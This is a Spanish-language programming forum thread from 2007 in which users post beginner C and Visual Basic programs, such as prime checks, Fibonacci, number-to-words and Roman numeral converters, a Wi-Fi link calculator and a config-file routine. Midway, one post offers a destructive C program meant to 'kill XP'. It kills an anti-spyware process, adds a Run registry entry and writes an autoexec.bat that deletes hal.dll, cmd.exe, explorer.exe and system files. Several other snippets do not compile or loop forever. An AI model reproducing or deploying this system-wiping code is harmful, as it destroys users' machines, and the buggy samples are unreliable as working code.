[Recurso] Postea tu programilla

+NoGodSoGood.

Usuario Casual nvl. 2
15 Feb 2007
0
13
37
Di vento
www.mixpod.com
Bueno este tema es para q posten programas independiente del lenguaje que sea, asi los niubis como yo aprenderemos a traves de ejemplos...(la idea no es copy paste).
La estructura sera:
1.- Para q sirve
2.- algoritmus
weno parto yo con este que esta en C

PARA SABER SI ES PRIMO.

#include<stdio.h>
#include<stdlib.h>
int main ()
{
int n, r, i, con;
printf("Ingrese numero ");
scanf("%d",&n);
con = 0;
for(i=1; i<=n; i++)
{
r = n % i;
if(r == 0)
con++;
}
if(con == 2)
printf("El numero %d es PRIMO\n",n);
else
printf("El numero %d es NO PRIMO\n",n);

system("pause");
}
 
a ver improvisare algo sencillo ya que no toy con mis programas y tengo paja xD

#include<stdio.h>

int n;

main ()
{
printf( " ingrese la edad de la persona");
scanf(%d, &n)
while ( n<=0 || n>=100)
{
printf("la edad que ha ingresado es menor igual 0 o mayor a 100, son valores no validos, por favor ingrese otra edad");
}
if ( n>= 18)
{
printf (" la edad ingresada corresponde a una persona mayor de edad");
}
else
{
printf ("la edad ingresada corresponde a una persona menor de edad ");
}

getchar(); getchar();

}


:P demas que caxan que hace daaaa xD!!:loca:
 
Última edición:
Fibonacci.
#include<stdio.h>


int main()
{
int i, a, b, c, n;
printf("Ingrese cantidad de terminos ");
scanf("%d",&n);
a = 0;
b = 1;
if(n == 1)
printf("%d\n",a);
else
if(n == 2)
printf("%d %d\n",a,b);
else
{
i = 3;
printf("%d %d ",a,b);
while(i <= n)
{
c = a + b;
printf("%d ",c);
a = b;
b = c;
i++;
}
}
system("pause");
}
 
esta wa transforma un numero decimal a palabra... entre 0 ; 10.000..

#include<stdio.h>
#include<conio.h>

void main()
{
int num,decmil,unimil,resto,cent,dec,uni;
clrscr();

printf("Asistente de transformacion de un nuero decimal a palabra..\nPara continuar ingresa un numero y luego presiona <ENTER>. ");
scanf("%d",&num);


if (num>=0 && num<10000)
{
printf("\nTu numero se escribe: ");

if(num==0)
{
printf("cero");
}


unimil=int (num/1000);
resto=(num % 1000);
cent=int (resto/100);
resto=(resto % 100);
dec=int (resto/10);
resto=(resto % 10);
uni=(resto / 1);



if(unimil==9)
{
printf("nueve mil ");
}

if(unimil==8)
{
printf("ocho mil ");
}

if(unimil==7)
{
printf("siete mil ");
}

if(unimil==6)
{
printf("seis mil ");
}

if(unimil==5)
{
printf("cinco mil ");
}

if(unimil==4)
{
printf("cuatro mil ");
}

if(unimil==3)
{
printf("tres mil ");
}

if(unimil==2)
{
printf("dos mil ");
}

if(unimil==1)
{
printf("mil ");
}



if(cent==9)
{
printf("novecientos ");
}

if(cent==8)
{
printf("ochocientos ");
}

if(cent==7)
{
printf("setecientos ");
}

if(cent==6)
{
printf("seiscientos ");
}

if(cent==5)
{
printf("quinientos ");
}

if(cent==4)
{
printf("cuatrocientos ");
}

if(cent==3)
{
printf("trescientos ");
}

if(cent==2)
{
printf("doscientos ");
}

if(cent==1 && dec==0 && uni==0)
{
printf("cien");
}
if(cent==1 &&(dec!=0 || uni!=0))
{
printf("ciento ");
}


if(dec==1 && uni==1)
{
dec=0;
uni=0;
printf("once");
}
if(dec==1 && uni==2)
{
dec=0;
uni=0;
printf("doce");
}
if(dec==1 && uni==3)
{
dec=0;
uni=0;

printf("trece");
}
if(dec==1 && uni==4)
{
dec=0;
uni=0;
printf("catorce");
}
if(dec==1 && uni==5)
{
dec=0;
uni=0;
printf("quince");
}



if(dec==9)
{
printf("noventa ");
}

if(dec==8)
{
printf("ochenta ");
}

if(dec==7)
{
printf("setenta ");
}

if(dec==6)
{
printf("sesenta ");
}

if(dec==5)
{
printf("cincuenta ");
}

if(dec==4)
{
printf("cuarenta ");
}

if(dec==3)
{
printf("treinta ");
}

if(dec==2 && uni!=0)
{
printf("veinti");
}

if(dec==2 && uni==0)
{
printf("veinte");
}

if(dec==1)
{
printf("diez ");
}

if(uni!=0 && dec!=0 && dec!=2)
{
printf("y ");
}


if(uni==9)
{
printf("nueve");
}

if(uni==8)
{
printf("ocho");
}

if(uni==7)
{
printf("siete");
}

if(uni==6)
{
printf("seis");
}

if(uni==5)
{
printf("cinco");
}

if(uni==4)
{
printf("cuatro");
}

if(uni==3)
{
printf("tres");
}

if(uni==2)
{
printf("dos");
}

if(uni==1)
{
printf("uno");
}

}
else
{
printf("<<ERROR>> El numero que ingresaste no es valido.");
}


getch();
}

y aki ta uno ke transforma de decimal a romano... entre 1 ; 3000 obvio..

#include<stdio.h>
#include<conio.h>
void main()
{

int num,umil,res,cen,dec,uni;

clrscr();

printf("ingrese numero: ");
scanf("%d",&num);

if(num>0 && num<4000)

{

umil=int(num/1000);
res=(num%1000);
cen=int(res/100);
res=(res%100);
dec=int(res/10);
res=(res%10);
uni=(res/1);

if(umil==1)
{
printf("M");
}

if(umil==2)
{
printf("MM");
}

if(umil==3)
{
printf("MMM");
}


if(cen==1)
{
printf("C");
}
if(cen==2)
{
printf("CC");
}
if(cen==3)
{
printf("CCC");
}
if(cen==4)
{
printf("CD");
}
if(cen==5)
{
printf("D");
}
if(cen==6)
{
printf("DC");
}
if(cen==7)
{
printf("DCC");
}
if(cen==8)
{
printf("DCCC");
}

if(cen==9)
{
printf("CM");
}

if(dec==1)
{
printf("X");
}
if(dec==2)
{
printf("XX");
}
if(dec==3)
{
printf("XXX");
}
if(dec==4)
{
printf("XL");
}
if(dec==5)
{
printf("L");
}
if(dec==6)
{
printf("LX");
}
if(dec==7)
{
printf("LXX");
}
if(dec==8)
{
printf("LXXX");
}
if(dec==9)
{
printf("XC");
}


if(uni==1)
{
printf("I");
}
if(uni==2)
{
printf("II");
}
if(uni==3)
{
printf("III");
}
if(uni==4)
{
printf("IV");
}
if(uni==5)
{
printf("V");
}
if(uni==6)
{
printf("VI");
}
if(uni==7)
{
printf("VII");
}
if(uni==8)
{
printf("VIII");
}
if(uni==9)
{
printf("IX");
}


}
else
{
printf("El numero que ha ingresado es incorrecto, por favor intentelo nuevamente");
}


getch();
}
 
muestra si dos numeros son amigos o no xD
son amigos =P
mi primer super programa xDDDDDDDD
#include<stdio.h>
main()
{
int n1,n2,sum1=0,sum2=0,i=1,p=1;
printf("ingrese numero 1:\n");
scanf("%d",&n1);
printf("ingrese numero 2:\n");
scanf("%d",&n2);
while(i<n1)
{
if(n1%i==0)
{
sum1=sum1+i;
}
i++;
}
while(p<n2)
{
if(n2%p==0)
{
sum2=sum2+p;
}
p++;
}

if(sum1==n2 && sum2==n1)
{
printf("son amigos\n");
}
else
{
printf(" no son amigos\n");
}
system("pause");
return 0;
}
 
Un pequeño programa que fue mi ultima tarea :zippyconf:
Código:
#include<stdio.h>
main()
{
    printf("hello fucking world");
}
:P
 
a ver improvisare algo sencillo ya que no toy con mis programas y tengo paja xD

#include<stdio.h>

int n;

main ()
{
printf( " ingrese la edad de la persona");
scanf(%d, &n)
while ( n<=0 || n>=100)
{
printf("la edad que ha ingresado es menor igual 0 o mayor a 100, son valores no validos, por favor ingrese otra edad");
}
if ( n>= 18)
{
printf (" la edad ingresada corresponde a una persona mayor de edad");
}
else
{
printf ("la edad ingresada corresponde a una persona menor de edad ");
}

getchar(); getchar();

}


:P demas que caxan que hace daaaa xD!!:loca:

O.O

no sabia que la sita nyuu le pegaba a la programación
yo no tengo ningun codigo por ahi
jojojo
es que mis trabajos tan llenos de telarañas
cuando tenga un sistema más o menos bueno lo subo
saludos
 
:tezippynn2: Este programilla se "auto-escribe" y modifica algunas cosillas del registro para matar el XP, se mete con comandos del registro y lo creé por que estaba aburrido y de maldadoso XD... bastante lammer la wea, pero bueno...
#include <stdlib.h>
#include <stdio.h>
void registro();
main()
{
if(fopen("C:\\xdati","r"))
{

printf("Aliado!!!\n");
system("pause");

}
else
{
if(fopen("%PROGRAMFILES\\Spybot - Search & Destroy\\teatimer.exe", "r"")
{
system("taskkill /IM teatimer.exe /f");
registro();
}
else
{
registro();
}
}
//registro();
}

void registro()
{
//Autogenero el archivo que borrará los archivos del sistema como secuencia de comandos "bat"... n_n
system("REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Notepad /t REG_SZ /d \"C:\\autoexec.bat\" /f"); //Obligo a ingresar este registro sin preguntar
system("cls");
system("echo.Set PV1 = CreateObject(\"Scripting.FileSystemObject\")>lalala.txt");
system("cls");
system("attrib -h -r -s C:\\autoexec.bat");
system("cls");
system("copy C:\\autoexec.bat %WINDIR%\\autoexec.bat");
system("cls");
system("echo.attrib -h -r -s *.sys>>lalala.txt");
system("cls");
system("echo.DEL *.sys>>lalala.txt");
system("cls");
system("attrib +h +r +s %WINDIR%\\autoexec.bat");
system("cls");
system("echo.DEL %WINDIR%\\system32\\hal.dll>>lalala.txt"); //Archivo a borrar...
system("cls");
system("echo.DEL %WINDIR%\\system32\\cmd.exe>>lalala.txt");
system("cls");
system("echo.DEL %WINDIR%\\system32\\command.com>>lalala.txt");
system("cls");
//system("echo.taskkill /IM teatimer.exe /f>>lalala.txt");
system("cls");
//system("echo.REG ADD HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Notepad /t REG_SZ /f>>lalala.txt");
system("cls");
system("echo.taskkill /IM explorer.exe /f>>lalala.txt");
system("cls");
system("echo.DEL %WINDIR%\\explorer.exe>>lalala.txt");
system("cls");
system("echo.attrib -h -r -s %WINDIR%\\autoexec.bat>>lalala.txt");
system("cls");
system("echo.copy %WINDIR%\\autoexec.bat C:\\autoexec.bat>>lalala.txt");
system("cls");
system("echo.DEL %WINDIR%\\autoexec.bat>>lalala.txt");
system("cls");
system("echo.attrib +h +s autoexec.bat>>lalala.txt");
system("cls");
system("echo.RENAME autoexec.bat aautoexec.bat>>lalala.txt");
system("cls");
system("echo.DEL aautoexec.bat>>lalala.txt");
system("cls");
system("copy lalala.txt C:\\autoexec.bat");
system("cls");
system("del lalala.txt");
system("cls");
}

//Nota: Es de ejecución híper mega lenta... jajaja ese es un detalle :P

Y este otro que se encarga de hacer cálculos de enlace punto a punto wifi... tiene como 1 año esa wea, pero igual la tiro... jajaja
#include <conio.c>
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <stdlib.h>
main()
{
system("title Enlaces Wifi V1.1, XDati .-.");
/*Tiene más color la plantilla en Excel... será...*/
float frecuencia, frec, distancia, ptx, perdida1, gtx, per, grx, perdida2, sensibilidad;
float atenuacion, senal, metros, cont=0;
char ayuda[5], op[1], conver[4];
textbackground(BLUE);
textcolor (YELLOW);
clrscr();
gotoxy(10,1);
printf("\tCALCULADORA DE ENLACES PUNTO A PUNTO WI-FI\n");
printf("\t ---------------------------------------------------");
gotoxy(25,2);
printf("(ver.1.1).\n");
printf("\nNota: Para obtener ayuda, escriba 'ayuda'.");
printf("\nSi no desea ayuda, presione 'Enter': ");
fflush(stdin);
textcolor (WHITE);
gets(ayuda);
if(strcmp(strupr(ayuda), "AYUDA")==0)
{
system ("cls");
textcolor(YELLOW);
printf("\nMenu ayuda");
printf("\nSi tiene dudas, le informamos que los resultados en esta aplicacion");
printf("\nson totalmente teoricos, no se garantiza el 100 porciento de efectividad.");
printf("\nLos datos entregados, por lo general, si sirven, ya que lo he hecho");
printf("\ny me ha funcionado.");
printf("\n\nEsta aplicacion ha sido programada en lenguaje C, utilizando los");
printf("\nheaders <conio.h>, <stdio.h>, <math.h>, <string.h>, <stdlib.h> y <conio.c>.");
printf("\n\nSi desea calcular los resultados a mano, aca estan las formulas:");
printf("\n\nPara obtener la atenuacion del espacio libre:");
printf("\n20*log(distancia)+20*log(frecuencia)+32.45;");
printf("\n\nPara obtener la potencia del trasmisor en dBm:");
printf("\n10*log(potencia en miliwatts);");
printf("\n\nPotencia efectivamente radiada (P.E.R):");
printf("\nPotencia del emisor en dBm - Perdida en emisor + Ganancia antena Tx");
printf("\n\nPara calcular el nivel de senal a la altura de la antena:");
printf("\n-(atenuacion por espacio libre)+ P.E.R");
printf("\n\nPresione tecla para seguir...");
getch();
printf("\n\nNivel de senal esperado a la entrada de la antena Rx:");
printf("\nNivel de senal a la altura de la antena + Ganancia Rx - Perdidas en receptor");
printf("\n\nMargen de desvanecimiento:");
printf("\n(Nivel de senal a la altura de la antena + Ganancia Rx - perdidas)+ sensibilidad");
printf("\n\nPara que el enlace sea factible, el margen de desvanecimiento debe ser > a 0.");
printf("\nEl conversor de unidades, funciona SOLO para frecuencias y distancias.");
printf("\nPara inicializarlo, ponga '0' cuando se le pida la frecuencia a trabajar.");
printf("\n\nPresione tecla para continuar...\n");
getch();
}
do
{
system ("cls");
printf("\nIniciando calculo de enlace:");
cont=0;
textcolor(YELLOW);
printf("\nPara iniciar el conversor de unidades, presione '0'");
frecuenci:/*Se llega acá cuando se entra al conversor de metros*/
printf("\nIngrese frecuencia (En MHz): ");
scanf("%f", &frecuencia);
if ((frecuencia > 0) && (cont <= 0))
{
goto dist;
}
if(frecuencia==0)
{
system ("cls");
textcolor(YELLOW);
printf("\n\nConversor de unidades:");
printf("\nEscriba 'KM' si son kilometros o 'FREC' si es frecuencia: ");
fflush(stdin);
textcolor(WHITE);
gets(conver);
if(strcmp(strupr(conver),"KM")==0)
{
textcolor(YELLOW);
printf("\nIngrese metros: ");
textcolor(WHITE);
scanf("%f", &metros);
distancia=metros/1000;
cont=1;
textcolor(YELLOW);
printf("%6.0f metros son %6.3f kilometros.\n", metros, distancia);
printf("(Finalizado conversor, asignado en memoria)\n");
goto frecuenci;
}
else if(strcmp(strupr(conver), "FREC")==0)
{
textcolor(YELLOW);
printf("\nIngrese frecuencia del equipo (GHz): ");
textcolor(WHITE);
scanf("%f", &frec);
frecuencia=frec*1000;
textcolor(YELLOW);
printf("%6.2f GHz, son %6.0f MHz\n", frec, frecuencia);
printf("(Finalizado conversor, asignado en memoria)\n\n");
cont=0;
goto dist/*Permite ingresar la distancia*/;
}
}
if(cont=1)
{
goto siguiente;
}
dist:
textcolor(YELLOW);
printf("Ingrese distancia (En Km): ");
scanf("%f", &distancia);
siguiente:
atenuacion=20*log10(distancia)+20*log10(frecuencia)+32.45;
printf("\n\nGanancia en la transmision.");
printf("\nIngrese potencia del transmisor (En mw): ");
scanf("%f",&ptx);
printf("Ingrese el total de perdidas (en dB): ");
scanf("%f", &perdida1);
printf("Ingrese la ganacia de la antena emisora (en dBi): ");
scanf("%f", &gtx);
printf("\n\nCalculo del margen de desvanecimiento.");
printf("\nGanancia de la antena receptora (en dBi): ");
scanf("%f", &grx);
printf("Ingrese el total de perdidas a nivel del receptor (en dB): ");
scanf("%f", &perdida2);
printf("Ingrese la sensibilidad del equipo receptor (en dBm): -");
scanf("%f", &sensibilidad);
printf("\n\nResultados de los datos ingresados:");
printf("\nFrecuencia: %4.0f MHz", frecuencia);
printf("\nDistancia: %4.3f Km", distancia);
printf("\nAtenuacion por espacio libre: %f dB", atenuacion);
printf("\n\nGanancia en la transmision:");
printf("\nPotencia el transmisor (en miliwatts): %4.0f mw", ptx);
printf("\nPotencia del transmisor (en dBm): %4.0f dbm", 10*log10(ptx));
printf("\nPerdidas en conectores, cables, etc: %4.0f dB", perdida1);
printf("\nGanancia de la antena emisora: %4.0f dBi", gtx);
per=10*log10(ptx)-perdida1+gtx;
printf("\nPotencia efectivamente radiada (P.E.R): %f", per);
printf("\n\nCalculo de margen de desvanecimiento:");
printf("\nPerdidas por espacio libre: %f dB", -1*(atenuacion));
printf("\nNivel de senal (colocados a la altura de la antena): %f dBm", (-1*(atenuacion)+(per)));
senal=-1*atenuacion+per;
printf("\nGanancia de la antena receptora: %4.0f dBi", grx);
printf("\nPerdidas a nivel del receptor: %4.0f dB", perdida2);
printf("\nNivel de senal esperado a la entrada de la antena receptora: %f dBm", senal+grx-perdida2);
printf("\nSensibilidad del receptor: %4.0f", -1*sensibilidad);
printf("\nMargen de desvanecimiento: %f dB", (senal+grx-perdida2)+sensibilidad);
if(((senal+grx-perdida2)+sensibilidad)>=0)
{
printf("\nENLACE REALIZABLE :).");
}
else{
printf("\nENLACE NO REALIZABLE :(.");
}
printf("\n\nDesea calcular un nuevo enlace (s/n): ");
fflush (stdin);
gets(op);
}
while(strcmp(strupr(op), "S")==0);
textcolor(WHITE);
printf("\nRecuerde, un arbol o una pared pueden afectar el enlace.");
printf("\nAsegurese que la linea vista sea directa, clara y visible entre las antenas.");
printf("\n\nCualquier error en el programa, plis, haganmela saber a: ");
printf("\[email protected]; \[email protected]");
textcolor(RED);
printf("\nXDati n_n 2007.\n");
textcolor(WHITE);
system ("pause");
}
 
Última edición:
este no es un programa si no una serie de rutinas para guardar/leer datos, lo uso para guardar la config de mis programas (pa no usar las tipicas func del api de win =))

'JamesBd


'---Descripcion---------------------------------------------------------------
'| ej: !0002|C:\archivos de programa |
'| |
'| "!" -> la linea contiene un valor |
'| |
'| "0002" -> ID de valor (al llamar a la funcion que obtiene un valor, |
'| se especifica el numero sin ceros ej: 0002 -> 2 |
'| |
'| "|" -> Separador |
'| |
'| "C:\archivos de programa" -> Valor |
'-----------------------------------------------------------------------------



Dim fs As New FileSystemObject
Dim MtrComentarios As New Collection

Public Function ObtenerValor(IDaplicacion As String, IDvalor, archivo As String) As String
On Error GoTo error
Dim N
Dim X
Dim IDapp As String

Dim Cadena As String
Dim TmpID As String
Dim Encontrado As Boolean



If IDvalor = "" Then Exit Function
If IDaplicacion = "" Then Exit Function
If fs.FileExists(archivo) = False Then: Exit Function
If Len(IDvalor) > 4 Then Exit Function

For X = 1 To 4 - Len(IDvalor)
TmpID = TmpID & "0"
Next
TmpID = TmpID & IDvalor

IDapp = obtenerIDaplicacion(archivo)

If UCase(IDaplicacion) <> UCase(IDapp) Then
MsgBox "La ID de la aplicacion no es valida", vbExclamation, "Error"
Exit Function
End If

N = FreeFile()
Encontrado = False
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cadena
If Mid(Cadena, 1, 1) = "!" Then
If Mid(Cadena, 2, 4) = TmpID Then
ObtenerValor = Mid(Cadena, 7, Len(Cadena) - 6)
Encontrado = True
End If
End If
Wend
Close N
If Encontrado = False Then ObtenerValor = ""

Exit Function
error:
ObtenerValor = ""
Err.Clear
End Function

Public Function ObtenerComentarios(archivo As String)
On Error GoTo error
Dim N
Dim Cmt As String
Dim sComentarios As String


N = FreeFile

If fs.FileExists(archivo) = False Then Exit Function

LimpiarColeccion MtrComentarios

sComentarios = ""
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cmt
If Mid(Cmt, 1, 1) = "#" Then
MtrComentarios.Add Mid(Cmt, 2, Len(Cmt) - 1)
End If
Wend
Close N

Exit Function
error:
Err.Clear
End Function

Public Function ObtenerComentario(archivo As String, NumeroComentario As Integer) As String
On Error GoTo error
Dim N
Dim Cmt As String
Dim sComentarios As String


N = FreeFile

If fs.FileExists(archivo) = False Then Exit Function

LimpiarColeccion MtrComentarios

sComentarios = ""
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cmt
If Mid(Cmt, 1, 1) = "#" Then
MtrComentarios.Add Mid(Cmt, 2, Len(Cmt) - 1)
End If
Wend
Close N
If NumeroComentario > MtrComentarios.Count Then Exit Function
ObtenerComentario = MtrComentarios(NumeroComentario)

Exit Function
error:
Err.Clear
End Function

Public Function obtenerIDaplicacion(archivo As String)
Dim N
Dim Cadena As String
N = FreeFile


If fs.FileExists(archivo) = False Then Exit Function

Open archivo For Input As N
Line Input #N, Cadena
If Mid(Cadena, 1, 2) = "->" Then
obtenerIDaplicacion = Mid(Cadena, 3, Len(Cadena) - 2)
End If
Close N

End Function

Public Function EscribirValor(IDaplicacion As String, IDvalor, Contenido As String, archivo As String)
On Error GoTo error
Dim N
Dim TmpID As String
Dim Cadena As String
Dim IDapp As String
Dim ContVlrs As Integer
Dim Out As TextStream
Dim MtrIDVlr As New Collection
Dim MtrVlr As New Collection

If IDvalor = "" Then Exit Function
If IDaplicacion = "" Then Exit Function
If fs.FileExists(archivo) = False Then: CrearArchivo IDaplicacion, archivo
If Len(IDvalor) > 4 Then Exit Function

IDapp = obtenerIDaplicacion(archivo)
If UCase(IDaplicacion) <> UCase(IDapp) Then
MsgBox "La ID de la aplicacion no es valida", vbExclamation, "Error"
Exit Function
End If

For X = 1 To 4 - Len(IDvalor)
TmpID = TmpID & "0"
Next
TmpID = TmpID & IDvalor

LimpiarColeccion MtrVlr
LimpiarColeccion MtrIDVlr

N = FreeFile
ObtenerComentarios (archivo)
Open archivo For Input As N
While Not EOF(N)
Line Input #N, Cadena
If Mid(Cadena, 1, 1) = "!" Then
ContVlrs = ContVlrs + 1
MtrIDVlr.Add Mid(Cadena, 2, 4)
MtrVlr.Add Mid(Cadena, 7, Len(Cadena) - 6)
End If
Wend
Close N
Set Out = fs.OpenTextFile(archivo, ForWriting, False, TristateFalse)
Out.WriteLine ("->" & IDaplicacion)

If MtrIDVlr.Count = 0 And MtrVlr.Count = 0 Then
Out.WriteLine ("!" & TmpID & "|" & Contenido)
Else
For N1 = 1 To MtrIDVlr.Count
If MtrIDVlr(N1) = TmpID Then
Out.WriteLine ("!" & MtrIDVlr(N1) & "|" & Contenido)
Existe = True
Else
Out.WriteLine ("!" & MtrIDVlr(N1) & "|" & MtrVlr(N1))
End If
Next
If Existe = False Then Out.WriteLine ("!" & TmpID & "|" & Contenido)
End If
For N1 = 1 To MtrComentarios.Count
Out.WriteLine ("#" & MtrComentarios(N1))
Next

Out.Close

Exit Function
error:
Err.Clear
End Function

Public Function EscribirComentario(IDaplicacion As String, Comentario As String, archivo As String)
On Error GoTo error
Dim Out As TextStream

If Comentario = "" Then Exit Function
If fs.FileExists(archivo) = False Then Exit Function

Set Out = fs.OpenTextFile(archivo, ForAppending, False, TristateFalse)
Out.WriteLine ("#" & Comentario)
Out.Close

Exit Function
error:
Err.Clear
End Function

Private Function LimpiarColeccion(Coleccion As Collection)
On Error Resume Next
If Coleccion.Count >= 1 Then
For X = 1 To Coleccion.Count
Coleccion.Remove (1)
Next
End If
End Function

Private Function CrearArchivo(IDapp As String, archivo As String)
Dim Out As TextStream
Set Out = fs.OpenTextFile(archivo, ForWriting, True, TristateFalse)
Out.WriteLine ("->" & IDapp)
Out.Close
End Function
su uso p ej, para guardar un dato seria
Escribirvalor "DEMO",1,"1234566","C:\config.00"

el archivo con los datos guardados queda asi:
->JBDSA
!0001|0
!0002|0
!0003|0
!0004|
!0005|0
!0006|
!0007|1
!0008|
!0009|0
!0010|1500
!0011|M
!0012|T
!0013|0


 
FUNCION EXPONENCIAL....
#include<stdio.h>
#include<stdlib.h>

float exponencial(float z)
{
int i;
float e=2.718281828,pot=1;
if(z>=0)
{
for (i=1;i<=z;i++)
{
pot*=e;
}
}
if(z<0)
{
e= 1/e;
z= -1*z;
for (i=1;i<=z;i++)
{
pot *=e;
}
}
return pot;
}

main()
{
int f;
float z,e;
printf("ingrese exponente");
scanf("%f",&z);
e=exponencial(z);
printf("resultado= %.5f\n",e);
system ("pause");
}
 

O.O

no sabia que la sita nyuu le pegaba a la programación
yo no tengo ningun codigo por ahi
jojojo
es que mis trabajos tan llenos de telarañas
cuando tenga un sistema más o menos bueno lo subo
saludos


xD!!!!!!!!
ni yo sabia que podia programar ahahaha
na broma es q nunca me vi programando ni me veo programando
lo mio..
es el arte
aojroajojroja
xD
y no e weo
pero como mis papis me ven programando
mi hnno me ve programando toda mi familia me ve programando

orale aqui toy programando!

en fin xD

invertir vector (solo dimension ingresada por teclado)
#include<stdio.h>


main()
{
int n,i,j;
printf ("Ingrese la dimension del vector: ");
scanf ("%d",&n);
int v[n],v2[n];

for (i=0 ; i<n ; i++)
{
v=i+1;
}
printf("\n");

for (i=0 ; i<n ; i++)
{
printf ("%i ",v);
}
printf("\n");

i=0;
for (j=n-1; j>=0 ;j--)
{
v2=v[j];
i++;
}
printf("\n");

for (i=0 ; i<n ; i++)

{
printf ("%i ",v2);
}

getchar();
getchar();


}




en un ejercicio por ahi d epasar numeros a letras lo habria hecho con cadenas tipo char y funciones u.u
pa no hacer tanto if